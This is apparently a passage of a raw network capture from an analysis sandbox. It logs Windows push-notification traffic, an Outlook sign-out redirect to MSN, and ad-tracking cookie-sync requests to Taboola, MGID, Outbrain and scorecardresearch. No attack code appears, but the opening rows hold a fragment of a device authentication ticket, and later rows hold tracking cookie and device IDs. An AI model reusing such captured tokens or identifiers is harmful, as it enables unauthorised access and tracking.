43 49 6d 70 67 4a 35 47 53 59 47 6b 59 77 6a 63 4b 33 68 48 30 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 0E/R3mxYCkGe66Mt.2Context: e45814bf24700b1d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAV28aqa+Y12TJi32zPGbUV2+jXD/tQfwSpnVcipwtIIy7FXOOZ5xJQLBWbAuEgy+hWhhjbvwfT0u/yTQxTI8mXPpzCImpgJ5GSYGkYwjcK3hH0
2025-01-12 00:28:14 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 30 45 2f 52 33 6d 78 59 43 6b 47 65 36 36 4d 74 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 34 35 38 31 34 62 66 32 34 37 30 30 62 31 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 0E/R3mxYCkGe66Mt.3Context: e45814bf24700b1d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-12 00:28:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-12 00:28:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 78 66 53 49 30 67 7a 4f 6a 45 69 37 41 50 6d 4c 75 37 69 61 30 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: xfSI0gzOjEi7APmLu7ia0A.0Payload parsing failed.

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:15 UTC	777	OUT	GET /owa/csignout.aspx?%3f%3fumkt=es-US&exch=1&RpsCsrfState=4042c6ed-e025-daaa-5b59-e2b84fedc413&lc=1033 HTTP/1.1 Host: outlook.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://login.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:16 UTC	1523	IN	HTTP/1.1 302 Content-Length: 168 Content-Type: text/html; charset=utf-8 Location: http://www.msn.com:80/?ocid=mailsignout&pc=U591 Server: Microsoft-IIS/10.0 request-id: 37b05045-426d-a171-08da-3c7b44de1d85 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-CalculatedBETarget: FR0P281MB3401.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 302 Set-Cookie: ClientId=4317F519E18A4D45BDD32447FA809DC6; expires=Mon, 12-Jan-2026 00:28:16 GMT; path=/;SameSite=None; secure X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Content-Type-Options: nosniff X-BeSku: WCS7 X-OWA-DiagnosticsInfo: 4;0;0; X-BackEnd-Begin: 2025-01-12T00:28:16.149 X-BackEnd-End: 2025-01-12T00:28:16.149 X-DiagInfo: FR0P281MB3401 X-BEServer: FR0P281MB3401 X-UA-Compatible: IE=EmulateIE7 X-ResponseOrigin: OwaAppPool X-Proxy-RoutingCorrectness: 1 Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=HHN&RemoteIP=8.46.123.0&Environment=MT"}],"include_subdomains":true} NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 302 X-FirstHopCafeEFZ: HHN X-FEProxyInfo: FR0P281CA0253.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN X-FEServer: FR0P281CA0253 Date: Sun, 12 Jan 2025 00:28:15 GMT Connection: close
2025-01-12 00:28:16 UTC	168	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 73 6e 2e 63 6f 6d 3a 38 30 2f 3f 6f 63 69 64 3d 6d 61 69 6c 73 69 67 6e 6f 75 74 26 61 6d 70 3b 70 63 3d 55 35 39 31 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.msn.com:80/?ocid=mailsignout&pc=U591">here</a>.</h2></body></html>

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:19 UTC	806	OUT	GET /b?rn=1736641699171&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591%26content%3D1%26mkt%3Den-us&c8=MSN&c9=&cs_fpid=037E08383FE368843ABF1D4A3E696958&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:19 UTC	857	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sun, 12 Jan 2025 00:28:19 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1736641699171&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591%26content%3D1%26mkt%3Den-us&c8=MSN&c9=&cs_fpid=037E08383FE368843ABF1D4A3E696958&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B8a6d85281ac91eea006661736641699; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B8a6d85281ac91eea006661736641699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 74ca1b9f17cb4adcfc54f8b84ccc7d82.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: _cJ07bLtWY-Z0lQzBKpETOn1ZygRKfHHkIya12jHUP2N4zhjDR55Sg==

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:20 UTC	893	OUT	GET /b2?rn=1736641699171&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591%26content%3D1%26mkt%3Den-us&c8=MSN&c9=&cs_fpid=037E08383FE368843ABF1D4A3E696958&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=1B8a6d85281ac91eea006661736641699; XID=1B8a6d85281ac91eea006661736641699
2025-01-12 00:28:20 UTC	327	IN	HTTP/1.1 204 No Content Connection: close Date: Sun, 12 Jan 2025 00:28:20 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 abf6c055b398b223d7325958955066c0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: nMlu98_RDNxpc7lWzNTF3y1Hym0X3sPvRACJmvq11tZgO1wDWreU8w==

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:24 UTC	559	OUT	GET /scripts/msn-sync.es5.js HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:24 UTC	756	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2580 x-amz-id-2: lGcvUPQRiszdF0U05sWChWEiRKUqNetGMSFwggVQMGqcTkS/0oy2M8TjoAAzpCsn9Negro+ZbxQ= x-amz-request-id: NR162XV81ABS2GQX x-amz-replication-status: COMPLETED Last-Modified: Tue, 07 Feb 2023 12:38:17 GMT ETag: "080ec673a335a99c9129c583ec0160d6" x-amz-server-side-encryption: AES256 x-amz-version-id: je6Bf.Z5LlhtO1oXQEsR563vlWDYJ055 Content-Type: application/javascript Server: AmazonS3 Accept-Ranges: bytes Date: Sun, 12 Jan 2025 00:28:24 GMT Via: 1.1 varnish Age: 26599 X-Served-By: cache-nyc-kteb1890022-NYC X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1736641704.137127,VS0,VE2 Cache-Control: private,max-age=14400 Vary: Accept-Encoding abp: 27 Access-Control-Allow-Origin: *
2025-01-12 00:28:24 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 77 69 6e 64 6f 77 2e 50 61 72 74 6e 65 72 43 6f 6f 6b 69 65 53 79 6e 63 4f 62 6a 65 63 74 3d 77 69 6e 64 6f 77 2e 50 61 72 74 6e 65 72 43 6f 6f 6b 69 65 53 79 6e 63 4f 62 6a 65 63 74 7c 7c 7b 7d 3b 76 61 72 20 74 3d 22 74 61 62 6f 6f 6c 61 20 67 6c 6f 62 61 6c 3a 75 73 65 72 2d 69 64 22 2c 65 3d 22 63 6f 6d 6d 75 6e 69 74 79 5f 6c 61 74 65 73 74 5f 6d 65 5f 69 64 22 2c 6e 3d 22 6d 2d 22 2c 72 3d 22 4d 55 49 44 22 2c 63 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2c 6f 3d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3b 69 66 28 63 29 74 72 79 7b 6e 3d 63 2e 67 65 74 49 74 65 6d 28 74 29 7d 63 61 74 63 68 28 74 29 7b 6e 3d 6e 75 6c 6c 7d 72 65 74 75 72 6e 20 6e 7d 2c 69 Data Ascii: !function(){try{window.PartnerCookieSyncObject=window.PartnerCookieSyncObject\|\|{};var t="taboola global:user-id",e="community_latest_me_id",n="m-",r="MUID",c=window.localStorage,o=function e(){var n=null;if(c)try{n=c.getItem(t)}catch(t){n=null}return n},i
2025-01-12 00:28:24 UTC	1202	IN	Data Raw: 5f 68 6d 3d 22 2e 63 6f 6e 63 61 74 28 6e 29 2e 63 6f 6e 63 61 74 28 72 3f 22 26 75 69 3d 22 2e 63 6f 6e 63 61 74 28 72 29 3a 22 22 29 3b 74 72 79 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 66 65 74 63 68 29 7b 76 61 72 20 69 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 3b 69 2e 6f 70 65 6e 28 22 47 45 54 22 2c 6f 2c 21 31 29 2c 69 2e 73 65 6e 64 28 29 7d 65 6c 73 65 20 66 65 74 63 68 28 6f 2c 7b 63 72 65 64 65 6e 74 69 61 6c 73 3a 22 69 6e 63 6c 75 64 65 22 7d 29 7d 63 61 74 63 68 28 74 29 7b 7d 7d 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 6e 3b 72 65 74 75 72 6e 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 74 61 62 6f 6f 6c 61 2e 63 6f 6d 2f 31 2e 32 2f 6a 73 6f 6e 2f 74 61 62 Data Ascii: _hm=".concat(n).concat(r?"&ui=".concat(r):"");try{if("function"!=typeof window.fetch){var i=new XMLHttpRequest;i.open("GET",o,!1),i.send()}else fetch(o,{credentials:"include"})}catch(t){}}},l=function t(e){var n;return"https://api.taboola.com/1.2/json/tab

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:24 UTC	660	OUT	GET /m?cdsp=516415&c=037E08383FE368843ABF1D4A3E696958&mode=inverse&msn_src=ntp&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.mgid.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:24 UTC	347	IN	HTTP/1.1 400 Bad Request Date: Sun, 12 Jan 2025 00:28:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 11 Connection: close CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=15552000; includeSubDomains; preload X-Robots-Tag: noindex Server: cloudflare CF-RAY: 900906baf89343a4-EWR alt-svc: h3=":443"; ma=86400
2025-01-12 00:28:24 UTC	11	IN	Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:24 UTC	655	OUT	GET /uidmappixel?ext_uid=037E08383FE368843ABF1D4A3E696958&pname=MSN&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.outbrain.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:24 UTC	375	IN	HTTP/1.1 200 OK date: Sun, 12 Jan 2025 00:28:24 GMT content-length: 0 x-traceid: d047265d3732351aa02b0628e60a63cf set-cookie: obuid=44f1a6a3-69f9-42d2-8f49-94186c207505; Max-Age=7776000; Expires=Sat, 12 Apr 2025 00:28:24 GMT; Path=/; Domain=.outbrain.com;SameSite=None;Secure strict-transport-security: max-age=31536000; includeSubDomains; preload connection: close